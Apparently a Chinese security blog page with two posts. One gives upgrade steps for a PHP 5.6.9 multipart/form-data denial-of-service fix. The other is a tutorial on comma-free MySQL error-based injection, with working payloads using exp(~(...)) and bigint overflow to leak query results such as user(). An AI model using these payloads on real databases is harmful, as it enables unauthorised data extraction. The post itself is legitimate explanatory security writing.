Ubuntu安装php5.6.9免疫Multipart/form-data远程拒绝服务漏洞

最近百度的同学liushusheng[at]baidu.com向php反馈了一个 Multipart/form-data 远程拒绝服务 的安全漏洞。

攻击者可以构造并持续发送畸形HTTP请求,恶意占用系统资源。

简单测试,多线程持续发包,可以让一些性能较低的网站延长响应时间,甚至是直接出错。在我的测试机上,一旦攻击开始,CPU占用率会很快飙升至99%。

从下图可以看到,cpu一栏,占用率是很高的。(我的VPS是8 vcpu)

php-dos

最新释出的 php 5.6.9(2015.5.14) 已经修复了这个问题。

虽然攻击过程必须持续发包,并且性能好的服务器很难被打挂,但仍然大家建议更新修复这个问题。

我在自己vps上更新了php 5.6.9(配合apache),简单记录一下基本的操作步骤:

php -v     #可以先检查下自己当前的版本

apt-get install libxml2-dev

apt-get install apache2-dev

wget http://cn2.php.net/distributions/php-5.6.9.tar.bz2

tar -xvf php-5.6.9.tar.bz2

cd php-5.6.9/

which apxs    # 确认找到apxs的路径

./configure --with-apxs2=`which apxs` --with-mysql

make

make install

php -v    #再次检查php的版本

cp .libs/libphp5.so /usr/lib/apache2/modules/

service apache2 restart

重启apache之后,php的版本已经变成了5.6.9

php.ver

再次测试,cpu占用率已经降低了:

php.5.6.9.test

升级后发现,匿名用户访问博客首页,显示空白,但已登录的用户却不受影响。

说明是受缓存影响。 于是到 WP Super Cache插件 页面重新生成缓存,点击页面上的“更新按钮”即可。

随后再刷新,首页已经可以匿名访问了。

 

参考链接:

http://sec.baidu.com/index.php?research/detail/id/22

https://bugs.php.net/bug.php?id=69364

MySQL注射的过滤绕过技巧[3]

这一篇介绍不带逗号注入。 之所以不带逗号,多半是因为它被当做分隔符,或者是被脚本过滤了。比如这样一个URL:

http://www.target.com/index.php?cate=1,2,3,4,5

参数cate可以注入,但是不能使用逗号,因为逗号被脚本作为分隔符预处理。

这种注射点的利用方法是使用数学运算函数在子查询中报错,比如exp函数(参考 EXP(X) ),  MySQL会把子查询的中间结果暴露出来。

这里我发了一个例子到wooyun:  17173游戏某站点MySQL报错注入(不带逗号注入的猜解过程)

select exp(~(select*from(select user())a))

MySQL报错:

mysql> select exp(~(select*from(select user())a));
ERROR 1690 (22003): DOUBLE value is out of range in ‘exp(~((select ‘root@localhost’ from dual)))’

这样我们就得到了当前user()是root@localhost。

exp(x)函数的作用: 取常数e的x次方,其中,e是自然对数的底。

~x 是一个一元运算符,将x按位取补。举个例子:

mysql> select hex(2);
+——–+
| hex(2) |
+——–+
| 2 |
+——–+

mysql> select hex(~2);
+——————+
| hex(~2) |
+——————+
| FFFFFFFFFFFFFFFD |
+——————+

这条查询会出错,是因为exp(x)的参数x过大,超过了数值范围。分解到子查询,就是:

1. (select*from(select user())a) 得到字符串 root@localhost

2. 表达式’root@localhost’被转换为0,按位取补之后得到一个非常的大数,它是MySQL中最大的无符号整数:

mysql> select ~0;
+———————-+
| ~0 |
+———————-+
| 18446744073709551615 |
+———————-+

3. exp无法计算e的18446744073709551615次方,最终报错,但是MySQL把前面 1) 中子查询的临时结果暴露出来了

了解了MySQL的这个特点,其实我们就还可以精心构造其他的一元运算符,让MySQL查询在没有逗号的情况下报错,比如:

mysql> select !(select*from(select user())x)-~0;
ERROR 1690 (22003): BIGINT UNSIGNED value is out of range in ‘((not((select ‘root@localhost’ from dual))) – ~(0))’

mysql> select 1 – 18446744073709551615;
ERROR 1690 (22003): BIGINT UNSIGNED value is out of range in ‘(1 – 18446744073709551615)’

原因如第二个查询所述。

这个例子是bigint超过数值范围,手法类似。